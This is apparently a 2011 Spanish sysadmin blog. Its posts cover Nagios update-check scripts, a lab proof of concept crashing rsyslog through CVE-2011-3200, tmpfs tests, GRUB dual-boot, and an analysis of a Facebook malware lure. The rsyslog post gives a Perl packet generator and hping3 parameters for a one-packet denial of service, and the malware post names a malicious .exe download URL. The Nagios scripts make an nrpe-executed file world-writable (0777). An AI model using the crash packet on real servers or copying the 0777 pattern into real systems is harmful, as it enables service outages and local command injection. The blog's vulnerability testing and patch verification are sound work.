Ningún detalle es anecdótico...

Ver actualizaciones Ubuntu + CentOS + OpenSuSE

2011-09-26T23:58:00.000-03:00

Justamente en la entrada anterior veíamos una de las posibles consecuencias de no actualizar el software que utilizamos. Si bien es cierto que actualizar indiscriminadamente puede ser un tanto riesgoso en entornos de producción, (podríamos romper alguna dependencia y dejar inútil una aplicación) actualizar ES NECESARIO!!!

Actualizar puede ser una tarea simple y hasta divertida cuando se tratan de unos pocos servidores, pero ya no tanto cuando el número comienza a ascender! Por lo tanto la idea de esta entrada es definir un mecanismo que nos permita:

-Identificar entre actualizaciones de seguridad y el resto.
-Automatizar los avisos de actualizaciones.

El modelo es el siguiente:

-Utilizamos nagios para recolectar y presentar la información.
-No buscaremos actualizaciones cada 5 minutos, las actualizaciones no salen con tanta frecuencia por lo tanto estaríamos consumiendo ancho de banda de manera innecesaria. En el esquema planteado los servidores buscaran sus actualizaciones una vez en el día, y el resto del día mostraran los datos de esa recolección hasta que sean actualizados.
-Tendremos 2 scripts:

updateNombreDelSO.pl que dependerá del sistema operativo y será el que se ejecute automáticamente una vez al día para recolectar las actualizaciones disponibles. Este script generará el segundo.
check_actualizaciones.sh que será el script que ejecuté nrpe en los servidores, bajo la demanda del servidor corriendo nagios. Este script es la salida del primero, solo imprime la cantidad de actualizaciones pendientes de seguridad y extra, y un código de salida acorde a la situación.

-Definimos como CRITICAL la situación en la que existen actualizaciones de seguridad sin aplicar, y como WARNING cuando solamente existen actualizaciones extras (no de seguridad) por aplicar.

updateUbuntu.pl

#!/usr/bin/perl
$STATUS_OK=0;
$STATUS_WARNING=1;
$STATUS_CRITICAL=2;
$STATUS_UNKNOWN=3;
$PATCHS=`/usr/lib/update-notifier/apt-check 2>&1`;
@A=split(';',$PATCHS);
$SALIDA="#!/bin/bash\n";
$EXIT=$STATUS_UNKNOWN;
$FILE="/usr/lib/nagios/plugins/check_actualizaciones.sh";
if($A[0] eq "0" and $A[1] eq "0")
{
    open(F,">$FILE");
    print F "$SALIDA"."echo \"Existen ".$A[0]." actualizaciones.\"\n";
    print F "exit $STATUS_OK";
    close(F);
    chmod (0777,$FILE);
    exit;
}
if($A[0] > 0)
{
    $SALIDA = $SALIDA . "echo \"ERROR - Existen ".$A[0]." actualizaciones de seguridad y ".$A[1]." extras\"\n";
    $EXIT = $STATUS_CRITICAL;
}
else
{
    $SALIDA = $SALIDA . "echo \"WARNING - Existen ".$A[1]." actualizaciones extras.\"\n";
    $EXIT = $STATUS_WARNING;
}
open(F,">$FILE");
print F $SALIDA;
print F "exit $EXIT";
close(F);
chmod (0777,$FILE);

El script es bastante, sencillo,  "/usr/lib/update-notifier/apt-check" nos devuelve una linea de la forma act_seguridad;act_extras, que separamos con split y guardamos así el número de actualizaciones de seguridad en $A[0] y el número de actualizaciones extras en $A[1]. Luego de eso simplemente definimos la salida según las actualizaciones que haya para hacer. La salida de este script es un archivo bash con el formato:

#!/bin/bash

echo "ERROR -  Existen 3 actualizaciones de seguridad y 2 extras"

exit 2

 Este archivo es el que ejecutará nrpe cada vez que nagios consulte por el plugin, por lo tanto debemos agregarlo al archivo de configuracion de nrpe:

#echo "command[check_actualizaciones]=/usr/lib/nagios/plugins/check_actualizaciones.sh">> /etc/nagios/nrpe.cfg

Ahora nos encargamos de que ĺa recolección de actualizaciones se haga una vez al día:

#echo "@daily root /path/to/script/updateUbuntu.pl" >> /etc/crontab

No olvidarse de reiniciar nrpe una vez que se agregue la linea y se ejecute manuelmente por primera vez "/path/to/script/updateUbuntu.pl".

updateCentOS.pl

Para este script necesitamos instalar un agregado de yum, ejecutar como root: "yum -y install yum-security" .

#!/usr/bin/perl 

$STATUS_OK=0;
$STATUS_WARNING=1;
$STATUS_CRITICAL=2;
$STATUS_UNKNOWN=3;

$SALIDA="#!/bin/bash\n";
$EXIT=$STATUS_UNKNOWN;
$FILE="/usr/lib/nagios/plugins/check_actualizaciones.sh";
@PATCHS=`yum -q --security check-update 2>/dev/null`;

$A[0]=0;
$A[1]=0;
foreach $i (@PATCHS)
{
    $A[0]=$A[0]+1;   
}

@PATCHS=`yum -q check-update 2>/dev/null`;
foreach $i (@PATCHS)
{
    $A[1]=$A[1]+1;   
}
if($A[0] eq "0" and $A[1] eq "0")
{
        open(F,">$FILE");
        print F "$SALIDA"."echo \"Existen ".$A[0]." actualizaciones.\"\n";
        print F "exit $STATUS_OK";
        close(F);
        chmod (0777,$FILE);
        exit;
}
if($A[0] > 0)
{
       $SALIDA = $SALIDA . "echo \"ERROR - Existen ".$A[0]." actualizaciones se seguridad y ".$A[1]." extras\"\n";
       $EXIT = $STATUS_CRITICAL;
}
else
{
        $SALIDA = $SALIDA . "echo \"WARNING - Existen ".$A[1]." actualizaciones extras.\"\n";
        $EXIT = $STATUS_WARNING;
}
open(F,">$FILE");
print F $SALIDA;
print F "exit $EXIT";
close(F);
chmod (0777,$FILE);

Este script mantiene el mismo concepto, salvo que en lugar de ejecutar un solo programa ejecuta dos, el primero obtiene las actualizaciones de seguridad disponibles y el segundo las extras.

 También debemos agregar la linea en el archivo de configuración de nrpe como se explicó antes, así como también la línea en crontab para la ejecución. Reiniciar nrpe y ejecutarlo manualmente la primera vez.

updateOpenSuSE.pl

#!/usr/bin/perl

$STATUS_OK=0;
$STATUS_WARNING=1;
$STATUS_CRITICAL=2;
$STATUS_UNKNOWN=3;

@PATCHS=`zypper -q lp 2>/dev/null | grep -i needed`;
$FLAG=0;
$c=0;

$SALIDA="#!/bin/bash\n";
$EXIT=$STATUS_UNKNOWN;
$FILE="/usr/lib/nagios/plugins/check_actualizaciones.sh";

foreach $i (@PATCHS)
{
    $c=$c+1;
    @aux=split('\|',$i);
    #solo uso los campos 1, 2 y 3
    if($i =~ /security/)
    {
        push(@SEGURIDAD,$aux[1]);
    }
    else
    {
        push(@OTROS,$aux[1]);
    }
    $FLAG=1;
}

if(@SEGURIDAD == 0 and @OTROS == 0)
{
        open(F,">$FILE");
        print F "$SALIDA"."echo \"Existen ".@SEGURIDAD." actualizaciones.\"\n";
        print F "exit $STATUS_OK";
        close(F);
        chmod (0777,$FILE);
        exit;
}

if(@SEGURIDAD > 0)
{
        $SALIDA = $SALIDA . "echo \"ERROR - Existen ".@SEGURIDAD." actualizaciones de seguridad y ".@OTROS." extras\"\n";
        $EXIT = $STATUS_CRITICAL;
}
else
{
        $SALIDA = $SALIDA . "echo \"WARNING - Existen ".@OTROS." actualizaciones extras.\"\n";
        $EXIT = $STATUS_WARNING;
}

open(F,">$FILE");
print F $SALIDA;
print F "exit $EXIT";
close(F);
chmod (0777,$FILE);

Nuevamente pero esta vez para openSuSE, también se deben aplicar los puntos de los otros dos casos.

No voy a incluir la configuración de nagios (por tiempo, ya me dio sueño :P, si alguien la precisa la tengo), pero básicamente consiste en definir un servicio y utilizar nrpe para ejecutar remotamente "check_actualizaciones.sh", de esta forma nagios nos estaría avisando cuántas actualizaciones pendientes tenemos y de qué tipo son.

Cabe aclarar que si actualizamos un servidor, las alertas no se irán hasta que no se vuelva a hacer la recolección, pero como esto pasa una vez al día estaríamos viendo alertas el resto del día. Por lo tanto recomiendo que una vez actualizado el servidor se ejecute manualmente el archivo de recolección para que las alarmas se vayan :D.

Concejos, dudas y demás serán bien recibidos!

Prueba de concepto CVE-2011-3200 rsyslog

2011-09-12T22:29:00.000-03:00

Es una tendencia y una muy buena práctica la centralización de los logs de los equipos. Existen varias opciones, siendo las mas difundidas rsyslog, syslog-ng y syslogd.
En esta entrada vamos a comprobar una vulnerabilidad (debilidad o falta de un control) que fue encontrada hace un par de semanas en el servidor de logs rsyslog.
La vulnerabilidad es básicamente un desbordamiento de pila, provocado por un excesivo tamaño del campo TAG. Este, es uno de los campos que compone un mensaje tipo syslog (RFC3164 http://www.ietf.org/rfc/rfc3164.txt).

El contexto de pruebas es el siguiente:

-Servidor rsyslog remoto en la dirección 192.168.206.160 (OpenSuSE 11.3)
-Cliente rsyslog en la dirección 192.168.206.1 (Ubuntu 9.10)

Software utilizado:

-rsyslog 5.4.0 en el servidor
-rsyslog 4.2.0 en el cliente
-logger en el cliente
-hping3 en el cliente

Configurar el servidor rsyslog:

Primeramente configuramos nuestro servidor rsyslog para que reciba mensajes remotos, esto se hace editando el archivos /etc/rsyslog.d/remote.conf y descomentando las siguientes líneas:

$ModLoad imudp.so
$UDPServerRun 514

Luego reiniciamos rsyslog, y abrimos el puerto 514 UDP en el firewall para poder recibir los mensajes.

Configurar el cliente rsyslog:

En este ejemplo vamos a indicar al rsyslog que corre en la pc cliente, que envíe al servidor remoto los logs que tengan facility local7 y severity warn (o mayor a warn); agregamos la siguiente linea a /etc/rsyslog.d/50-default.conf

local7.warn @192.168.206.160

Probando la configuración con logger:

Logger es una interface de comandos que nos comunica con el sistema de loggin del equipo local. Es decir, logger NO enviará los mensajes al servidor remoto, sino al rsyslog local y este los enviará a donde correspondan.

logger -p local7.err -d -t Prueba "esto es una prueba"

Y en la red vemos:

Y del lado del servidor, con tail -f /var/log/messages veremos como llega nuestro mensaje:

Entonces ya tenemos andando nuestro servidor de logs centralizado (.... por decirlo de una manera :P).

Ahora veamos qué pasa si rompemos la barrera de los 32 caracteres en el campo TAG del mensaje, utilizando logger.

# logger -p local7.err -d -t PruebaPruebaPruebaPruebaPruebaTTX "esto es una prueba"

Captura de wireshark:

CARAMBA! Podemos apreciar que la X que excede el límite de los 32 caracteres nunca salió de nuestro sistema, es decir que nuestro rsyslog local cortó la cadena para solamente enviar lo permitido.

Bien, de momento podemos asegurar que un rsyslog no tiraría abajo otro rsyslog porque jamás enviaría un TAG que superase el límite que dicta el RFC.

Qué pasa si... creamos a mano un mensaje syslog y violamos esta restricción?

Para simular el mensaje copiamos de wireshark la parte de datos del paquete UDP y lo pegamos abriendo un archivo en modo binario (vi -b crafted_packet), de la siguiente forma:

Ahora el TAG tiene "PruebaPruebaPruebaPruebaPruebaTTX" que son 33 caracteres, es decir la misma prueba que hicimos con logger, pero esta vez será de manera manual, salteandonos el rsyslog local.

Pero cómo metemos este mensaje en un paquete UDP y lo enviamos al servidor???

hping3 es la respuesta a esa pregunta!!! hping3 es una aplicación esencialmente diseñada para hacer ataques de flooding xD, pero en este caso la usaremos con fines menos escabrosos. Entre otras cosas nos permite crear paquetes ICMP, IP, TCP, UDP de forma muy flexible y enviarlos a tasas dañinas o no.

Lo que haremos es generar paquetes UDP al puerto 514 del servidor de logs remoto en la IP 192.168.206.160.

La forma de generar el paquete es la siguiente:

-2 : indica que queremos generar paquetes UDP
-i 1: cantidad de paquetes por segundo
-d 78: tamaño del PDU UDP, es decir de los datos del paquete UDP
-E crafted_packet: es el archivo de 78 bytes que creamos anteriormente
-p 514: indica el puerto de destino de los paquetes
192.168.206.160: es la IP del servidor remoto

En la parte inferior de la imagen vemos los dos paquetes que recibió el servidor remoto, y se puede apreciar la X extra que excede los 32 caracteres. Por lo tanto queda claro que el buffer donde se guarda esta variable tiene mas de 32 bytes de espacio.

Bueno, ahora a reventarlo de una vez por todas.

Ahora generemos un ultra_crafted_packet (muajaja muajaja), básicamente es el crafted_packet, pero con 1024 X en lugar de una. Al archivo lo generé con un MUY feo script en perl.

#!/usr/bin/perl -w
open(F,">ultra_crafted_packet");
$inicio="<187>Sep 11 15:25:32 moon PruebaPruebaPruebaPruebaPruebaTT";
$fin=" esto es una prueba";
$mid="";
foreach $i (1 .. 1024)
{
$mid="X".$mid;
}
print F $inicio.$mid.$fin;
close(F);

Ejecutamos el script y ya tenemos nuestro super ultra_crafted_packet, con un total de 1101 bytes. Entonces lanzamos hping3, cambiando los parámetros que corresponden (-d 1101 y -E ultra_crafted_packet).

Y en el servidor nos encontramos con una grata sorpresa :D :

La muerte súbita de rsyslogd y el backtrace correspondiente.

Entonces nos encontramos ante un sencillo caso de denegación al servicio de login centralizado. Solo basta con 1 paquete que exceda los límites del buffer donde se almacena el campo TAG del mensaje syslog, para que el servicio muera.

POR SUERTE la mayoría (sino todas) de las distribuciones ya han publicado el parche correspondiente. Por lo tanto actualizar el servidor es crucial.

#zypper lu -t patch | grep rsyslog

Nos muestra disponible el parche de seguridad 5099, que corresponde a esta vulnerabilidad. Lo aplicamos y volvemos a probar.

#zypper in patch rsyslog

#rcsyslog restart

Y volvemos a lanzar hping3 con los parámetros que mataron el servidor, pero esta vez vemos:

Esta vez el servidor no hice overflow y sigue funcionando perfectamente. Por lo tanto el parche funciona.

Bueno, esto ya se extendió demasiado, posiblemente esta vulnerabilidad pueda ser explotada para hacer cosas mas peligrosas, pero a mi gusto es suficiente con poder denegar un servicio que podría ser crucial para una organización.

El parche creo que se tomó 1 semana en salir, y en ese tiempo todos los rsyslog que vagaban por el mundo eran vulnerables a algo tan secillo como esto... me gustaría creer que no queda ninguno sin actualiazr... ME GUSTARÍA!!!

Usando tmpfs

2011-08-31T18:42:00.000-03:00

Bien, entrada corta si las hay!!! Esto va a ser una PEQUEÑA demostración del uso de tmpfs. Qué es tmpfs??? Wiki knows (http://es.wikipedia.org/wiki/Tmpfs#Linux). Es una suerte de sistema de archivos en memoria volatil (RAM y swap si es necesario, ojo!!!).

Ventajas:
-Las operaciones de lectura y escritura son MUCHO mas rápidas que en otros medios de IO como los discos rígidos (IDEAL para montar directorios de CACHEs).
-Es sencillo de utilizar.
Desventajas:
-Es volatil!!! no se mantiene luego de un reinicio del equipo por ejemplo.
-Su espacio está limitado por la cantidad de memoria RAM disponible y la swap del sistema.

Demostración simple de uso y rendimiento en escritura:

Creamos un directorio llamado prueba_tmpfs

root@moon:~# mkdir prueba_tmpfs

Antes de montar veamos cómo se el consumo de memoria con free -m.

root@moon:~# free -m
               total       used       free     shared    buffers     cached
Mem:          1975       1167        807          0         25        538
-/+ buffers/cache:        603       1371
Swap:         5789          0       5789

Montamos un sistema de archivos tipo tmpfs (-t tmpfs) de 1GigaByte en el directorio que acabamos de crear.

root@moon:~# mount -t tmpfs -o size=1G tmpfs prueba_tmpfs/

Vemos los puntos de montaje existentes y nos encontramos con nuestro tmpfs recien montado.

root@moon:~# mount

...

tmpfs on /root/prueba_tmpfs type tmpfs (rw,size=1G)

Pegamos una mirada con free para ver qué pasó y vemos que si bien el directorio se montó, no se ocupó memoria del sistema aún.

root@moon:~# free -m
                     total       used       free     shared    buffers     cached
Mem:          1975       1167        807          0         25        538
-/+ buffers/cache:        603       1371
Swap:         5789          0       5789

Veamos qué beneficios nos trae tmpfs, escribamos algo!!! Para probar utilizamos un simple dd.

root@moon:~# dd if=/dev/zero of=prueba_tmpfs/prueba bs=1M count=768
768+0 registros de entrada
768+0 registros de salida
805306368 bytes (805 MB) copiados, 1,58104 s, 509 MB/s

Nos encontramos con una velocidad de escritura de 509 Mbytes por segundo!!! (509MBytes*8 = 4072Mbits por seg aprox 4Gbits por segundo!!! lo cual es consistente con el ancho de banda teórico de las memorias DDR2 de 667 Mhz que tiene mi laptop :D). Una velocidad MAS que interesante.

Podemos ver un cambio significativo en free -m. Pasamos de 807 a 37 Mbytes libres, es decir consumimos 807-37=770 (consistente con los 768 que escribimos con el dd).

root@moon:~# free -m
               total       used       free     shared    buffers     cached
Mem:          1975       1937         37          0         25       1306
-/+ buffers/cache:        605       1369
Swap:         5789          0       5789

mmm ahora le toca al sata de la laptop hacer su mejor esfuerzo xD (competencia un tanto injusta jajaja). Escribimos de la misma manera que antes, pero a un archivo fuera del directorio donde montamos el tmpfs, en este caso el archivo se llama simplemente prueba.

root@moon:~# dd if=/dev/zero of=prueba bs=1M count=768
768+0 registros de entrada
768+0 registros de salida
805306368 bytes (805 MB) copiados, 12,3028 s, 65,5 MB/s

La velocidad fue de 65,5 Mbytes por segundo (65,5Mbytes * 8 = 524 Mbits por segundo, bastante por debajo del máximo teórico de los SATA II, por debajo inclusive del SATA I). Con esto queda claro que la diferencia es IMPORTANTE, la escritura sobre tmpfs fue casi 8 veces mas rápida (509/65,5=7,7).

Demostración simple de uso y rendimiento en lectura:

Todo muy lindo en la escritura, pero en la lectura qué será? :O.

Primero leemos del tmpfs y vemos una velocidad bastante mayor a la que obtuvimos en escritura. Pasando los 7Gbits por segundo!!!, esto seguramente se debe a algún manejo extraño de caches por parte del kernel, porque esta velocidad excede el límite teórico de las memorias de la laptop.

root@moon:~# dd if=prueba_tmpfs/prueba of=/dev/null bs=1M
768+0 registros de entrada
768+0 registros de salida
805306368 bytes (805 MB) copiados, 0,873211 s, 922 MB/s

Con respecto a la lectura en disco... Obtuve una velocidad muy similar a la de escritura, lo cual NO es muy común en este tipo de dispositivos.

root@moon:~# dd if=prueba of=/dev/null bs=1M
768+0 registros de entrada
768+0 registros de salida
805306368 bytes (805 MB) copiados, 13,5713 s, 59,3 MB/s

Por lo general los discos rígidos leen a mayor velocidad de la que escriben, por lo tanto podríamos suponer que la velocidad de escritura obtenida anteriormente es producto de algún manejo eficiente de cache o una suerte de inteligencia en la escritura de datos repetidos (solamente ceros, obtenidos de /dev/zero).

Qué pasa si...?:

Intentamos escribir mas bytes de los que tiene asignado nuestro directorio en tmpfs:

root@moon:~# dd if=/dev/zero of=prueba_tmpfs/prueba bs=1M count=1024
dd: escribiendo «prueba_tmpfs/prueba»: No hay espacio libre en el dispositivo
1022+0 registros de entrada
1021+0 registros de salida
1071640576 bytes (1,1 GB) copiados, 2,47776 s, 433 MB/s
root@moon:~#

Como era de esperarse no pudimos escribir mas de lo que definimos como tamaño del tmpfs :D.

Creamos un tmpfs mayor que nuestra RAM (mi laptop tiene 2Gbytes de RAM):

Es absolutamente posible hacerlo, PERO...

root@moon:~# mount -t tmpfs -o size=3G tmpfs prueba_tmpfs
root@moon:~# mount | grep prueba_tmpfs
tmpfs on /root/prueba_tmpfs type tmpfs (rw,size=3G)
a medida que comencemos a ocupar el espacio del tmpfs, nos comeremos (si, casi literalmente) la memoria ram del equipo, este comenzará a intercambiar páginas con poco uso a la memoria de intercambio (swap) y eventualmente el sistema podría quedar inutilizable. Moraleja? no es recomendable hacerlo (cosas que pasan xD).

Conclusión:

Definitivamente es una opción muy interesante principalmente para utilizar como directorio para caches.

En mi caso en particular utilicé tmpfs para el directorio donde munin crea/actualiza los archivos rrd, en un servidor que monitorea mas de 100 servidores, y el cambio fue notable. Antes de esto los gráficos se cortaban porque el proceso de graficar no terminaba antes de que llegaran las nuevas mediciones.

Como quitar Windows 7, instalar CentOS 6 desde un pendrive y todo esto sin que se muera Ubuntu 9.10 oO

2011-08-25T07:40:00.000-03:00

Windows en las particiones sda3 y sda4, CRAP!!! ¿sda2 es booteable? qué pasa si la borro?

root@moon:/home/juan# fdisk -lu /dev/sda

Disco /dev/sda: 250.1 GB, 250059350016 bytes
255 cabezas, 63 sectores/pista, 30401 cilindros, 488397168 sectores en total
Unidades = sectores de 1 * 512 = 512 bytes
Identificador de disco: 0xbab21f87

Dispositivo Inicio    Comienzo      Fin      Bloques Id Sistema
/dev/sda1              63   454623434   227311686   83 Linux
/dev/sda2   *   454625280   454830079      102400    7 HPFS/NTFS
/dev/sda3       454830080   476534783    10852352    7 HPFS/NTFS
/dev/sda4       476536095   488392064     5927985    5 Extendida
/dev/sda5       476536158   488392064     5927953+ 82 Linux swap / Solaris

Para ver en qué consiste mi grub actualmente ejecuté

root@moon:/home/juan# grub-mkconfig -o grub.conf.bak
Generating grub.cfg ...
Found linux image: /boot/vmlinuz-2.6.31-22-generic
Found initrd image: /boot/initrd.img-2.6.31-22-generic
Found linux image: /boot/vmlinuz-2.6.31-21-generic
Found initrd image: /boot/initrd.img-2.6.31-21-generic
Found linux image: /boot/vmlinuz-2.6.31-20-generic
Found initrd image: /boot/initrd.img-2.6.31-20-generic
Found linux image: /boot/vmlinuz-2.6.31-19-generic
Found initrd image: /boot/initrd.img-2.6.31-19-generic
Found linux image: /boot/vmlinuz-2.6.31-17-generic
Found initrd image: /boot/initrd.img-2.6.31-17-generic
Found linux image: /boot/vmlinuz-2.6.31-16-generic
Found initrd image: /boot/initrd.img-2.6.31-16-generic
Found linux image: /boot/vmlinuz-2.6.31-15-generic
Found initrd image: /boot/initrd.img-2.6.31-15-generic
Found linux image: /boot/vmlinuz-2.6.31-14-generic
Found initrd image: /boot/initrd.img-2.6.31-14-generic
Found memtest86+ image: /boot/memtest86+.bin
Found Windows 7 (loader) on /dev/sda2
done
De esta manera me hice con una copia de la configuración actual, por si las moscas!!!
mmmm... viendo un poco la configuración actual de grub encontré la parte donde se define el arranque del win7

menuentry "Windows 7 (loader) (on /dev/sda2)" {
        insmod ntfs
        set root=(hd0,2)
        search --no-floppy --fs-uuid --set 2860188560185c3e
        chainloader +1
}

Entonces decidí actuar! :P
Eliminé ambas particiones de windows!

root@moon:/etc/grub.d# fdisk -lu /dev/sda

Disco /dev/sda: 250.1 GB, 250059350016 bytes
255 cabezas, 63 sectores/pista, 30401 cilindros, 488397168 sectores en total
Unidades = sectores de 1 * 512 = 512 bytes
Identificador de disco: 0xbab21f87

Dispositivo Inicio    Comienzo      Fin      Bloques Id Sistema
/dev/sda1              63   454623434   227311686   83 Linux
/dev/sda4       476536095   488392064     5927985    5 Extendida
/dev/sda5       476536158   488392064     5927953+ 82 Linux swap / Solaris
Por lo tanto me quedó un gran vacío xD, unos 11Gb perdidos entre sda1 y sda4, ese vacío debería ser llenado por CentOS :D.
Volví a lanzar grub-mkconfig -o grub.conf.bak.2, y esta vez ya no aparecieron las líneas del arranque de windows 7 :D.

root@moon:/etc/grub.d# grub-mkconfig -o grub.conf.bak.2
Generating grub.cfg ...
Found linux image: /boot/vmlinuz-2.6.31-22-generic
Found initrd image: /boot/initrd.img-2.6.31-22-generic
Found linux image: /boot/vmlinuz-2.6.31-21-generic
Found initrd image: /boot/initrd.img-2.6.31-21-generic
Found linux image: /boot/vmlinuz-2.6.31-20-generic
Found initrd image: /boot/initrd.img-2.6.31-20-generic
Found linux image: /boot/vmlinuz-2.6.31-19-generic
Found initrd image: /boot/initrd.img-2.6.31-19-generic
Found linux image: /boot/vmlinuz-2.6.31-17-generic
Found initrd image: /boot/initrd.img-2.6.31-17-generic
Found linux image: /boot/vmlinuz-2.6.31-16-generic
Found initrd image: /boot/initrd.img-2.6.31-16-generic
Found linux image: /boot/vmlinuz-2.6.31-15-generic
Found initrd image: /boot/initrd.img-2.6.31-15-generic
Found linux image: /boot/vmlinuz-2.6.31-14-generic
Found initrd image: /boot/initrd.img-2.6.31-14-generic
Found memtest86+ image: /boot/memtest86+.bin
done

Por último una actualizada del grub para que los cambios se reflejen en el archivo de configuración real:

root@moon:/etc/grub.d# update-grub
Generating grub.cfg ...
Found linux image: /boot/vmlinuz-2.6.31-22-generic
Found initrd image: /boot/initrd.img-2.6.31-22-generic
Found linux image: /boot/vmlinuz-2.6.31-21-generic
Found initrd image: /boot/initrd.img-2.6.31-21-generic
Found linux image: /boot/vmlinuz-2.6.31-20-generic
Found initrd image: /boot/initrd.img-2.6.31-20-generic
Found linux image: /boot/vmlinuz-2.6.31-19-generic
Found initrd image: /boot/initrd.img-2.6.31-19-generic
Found linux image: /boot/vmlinuz-2.6.31-17-generic
Found initrd image: /boot/initrd.img-2.6.31-17-generic
Found linux image: /boot/vmlinuz-2.6.31-16-generic
Found initrd image: /boot/initrd.img-2.6.31-16-generic
Found linux image: /boot/vmlinuz-2.6.31-15-generic
Found initrd image: /boot/initrd.img-2.6.31-15-generic
Found linux image: /boot/vmlinuz-2.6.31-14-generic
Found initrd image: /boot/initrd.img-2.6.31-14-generic
Found memtest86+ image: /boot/memtest86+.bin
done

Y ahora le pegamos un reboot a ver qué pasa!!! (no hacer bungee jumping con los cordones!!!, por las dudas tengan un live-cd de alguna distro para arreglar grub :P, yo tengo en un pendrive un ubuntu 9.04 por si las moscas).

NOTA: luego de reiniciar noté que ya no me aparecía la lista de entradas para elegir, sino que directamente me cargó la primer entrada sin decir nada. Me queda averiguar porque...

Bien ahora, a preparar el pendrive desde donde bootear para instalar CentOS, claramente no pienso quemar un CD para usarlo una sola vez ajajaja. Rata? no!, económico! Lo mas complicado de todo esto fue encontrar el pendrive xD, los hacen tan pequeñosss.

NOTA: Backup del pendrive!!!!

Para hacer booteable nuestro pendrive con una iso de CentOS , primero descargamos la iso (wget http://centos-mirror.hostdime.com.br/centos/6.0/isos/x86_64/CentOS-6.0-x86_64-minimal.iso) :P, y luego instalamos "UNetbootin" (a buscar los paquetes gente, aptitude search unetbootin y ver :P).
Elegimos la iso y la partición del pendrive que correspondan, aceptamos y esperamos un raaaato.

Ahora reiniciamos y vemos qué pasa!

Una vez booteado del pendrive elegimos la primer opción que dice con video básico y cargará el instalador de CentOS.

NOTA1: no encontraba el archivo /images/install.img, cuando aparece la opción para ingresar el path del archivo hay que poner ./images/install.img y elegir el dispositivo que corresponda al pendrive!

NOTA2: también es necesario copiar la iso del CD dentro del pendrive!

Durante la instalación en ningún momento hay que dejar que particione el disco ni que instale un bootloade!!!! sino no va a salir caro :P

Terminada la instalación, inicié ubuntu y corrí nuevamente un grub-mkconfig pero la configuración ni se enteró de la instalación de CentOS...

A meterle mano a Grub: la versión de grub que tengo ¿1.97? oO, se configura a partir de unas plantillas que se encuentran en el directorio /etc/grub.d y también el archivo /etc/default/grub.

Primero modificamos /etc/default/grub para que vuelva a aparecer el menu de sistemas operativos durante el booteo de grub, esto se logra comentando la línea que dice GRUB_HIDDEN_TIMEOUT=0.

Ahora agregamos las lineas necesarias para el arranque de CentOS en el archivo /etc/grub.d/40_custom (en este archivo deberiamos incluir todas las entradas que pongamos manualmente):

menuentry "CentOS 6" {
    set root=(hd0,2)
    linux /boot/vmlinuz-2.6.32-71.el6.x86_64 ro root=/dev/sda2 rhgb quiet
    initrd /boot/initramfs-2.6.32-71.el6.x86_64.img
}

NOTA: estas líneas deben ser agregadas al final del archivo y sin modificar el resto de las lineas anteriores.

Vemos que las lineas indican la partición de root, la imagen del kernel y el initrd.
Ahora debemos actualizar grub para que aplique estos cambios a la configuración actual (update-grub) y vemos que la entrada fue agregada correctamente al final del archivo de configuración:

root@moon:/home/juan# tail /boot/grub/grub.cfg
# This file provides an easy way to add custom menu entries. Simply type the
# menu entries you want to add after this comment. Be careful not to change
# the 'exec tail' line above.
menuentry "CentOS 6" {
    set root=(hd0,2)
    linux /boot/vmlinuz-2.6.32-71.el6.x86_64 ro root=/dev/sda2 rhgb quiet
    initrd /boot/initramfs-2.6.32-71.el6.x86_64.img
}

### END /etc/grub.d/40_custom ###

Reiniciamos y.... :D un lujo, probado y re contra probado, levantó CentOS sin ningún inconveniente.

Bicho de messenger Nº: n+1

2011-02-09T18:49:00.002-03:00

Estoy en pleno estudio así que esta entrada será breve y posiblemente inconclusa, pero me parece que vale la pena hacerla.
Mientras estudiaba, un contacto de messenger me envió el siguiente mensaje:

Anterior a esta hubo otros, pero que involucraban dominios que no valía la pena analizar, pero este... este dice apps.facebok.com!!!

Como siempre en estas cosas hay que ser cauto, y la verdad que quería hacer clic en ese link :P. En fin, limpié las cookies de mi browser, inicié sesión en una cuenta de facebook que tengo para estas ocasiones especiales e hice clic :D.

NICE!, una vez mas salvado por "non script", en la aplicación en cuestión lograron insertar un iframe, el siguiente:

ZOOM IN:

Podemos ver claramente el dominio al que hace referencia, no me queda claro, almenos aún que está enviando mediante "?signed_request=VALOR", eso me queda por ver cuando tenga mas tiempo.

Hace unos minutos la applicación directamente nos invitaba a descargar "http://christybonham.com/img/facebook-pic0009345919.exe", ahora solamente nos muestra el listado del sitio "http://christybonham.com/img/"

Efecto anterior:

A juzgar por como fueron cambiando las fechas/hora de última actualización de los archivos, se puede decir que están en pleno desarrollo.

Denuncié adecuadamente la aplicación, pero facebook aún no la deshabilitó.

Link del reporte a virus total: http://www.virustotal.com/file-scan/report.html?id=e34cca1509d1ead0f2131049389c42c157ec83b848e6bb8bca4f4fc7a89e0429-1297287029

No tengo tiempo para probar los efectos del .exe, si alguien se anima y me cuenta será muy apreciado!

UPDATE 1:

Pensando un poquito se me ocurrió procesar el parámetro signed_request, con base64 y obtuve esto:

cadena_que_no_pude_descifrar.{"algorithm":"HMAC-SHA256","issued_at":1297282079,"user":{"country":"ar","locale":"es_LA","age":{"min":21}}}

Mis conocimientos de javascript son MUY básicos, pero eso parece ser un HASH, posiblemente la cadena_que_no_pude_descifrar no sea mas que el nombre del hash, un nombre posiblemente asignado por facebook, porque es bastante largo y feo (posiblemente aleatorio). No veo que se estén llevando datos realmente sensibles, al menos no con ese parámetro. Alguien con mas info???

UPDATE 2:

Aparentemente la app de facebook ya fue dada de baja, pero el servidor sigue infectando hosts.

El retorno: "Reto ncn_2010 Parte1"

2011-01-28T21:29:00.002-03:00

Como verán hace un par o dos pares de meses que no ando por aquí. Básicamente es por mi PÉSIMA administración del tiempo, no soy lo que se dice la persona mas ocupada del mundo, pero siempre me las arreglo para que el tiempo no me sea suficiente xD.

Llevo alrededor de 6 meses ya en mi pasantía en el centro de redes de la Universidad Nacional de Córdoba, y debo decir que es increíble todo lo que se aprende en el campo de batalla. Definitivamente era lo que me hacía falta, práctica.

Pero como esto NO es un diario, o por lo menos ahora no lo es, les traigo la primera parte de mi interpretación del reto http://noconname.org/concursos/NcN_2010_Reto_Forense.pdf , aquí la imagen del dispositivo a analizar http://noconname.org/concursos/okin.dd.bz2 .

En primera instancia cabe aclarar que este no es un reto como los demás, aquí no hay mas consigna que: Todo lo que encuentres y puedas justificar vale.

""Obras a la Mano":
Una vez descargado el archivo lo descomprimimos y utilizamos el famoso file para ver de qué se trata okin.dd.

root@moon:/home/juan/ForensicTests/NcNForense# file okin.dd
okin.dd: Linux rev 1.0 ext2 filesystem data (mounted or unclean), UUID=42006dd3-3ea3-42dd-aa42-e86c3376ea31
root@moon:/home/juan/ForensicTests/NcNForense#

Como nos comenta el pdf se trata del dd (copia cruda, hablando mal y pronto) de una partición de tipo ext2.
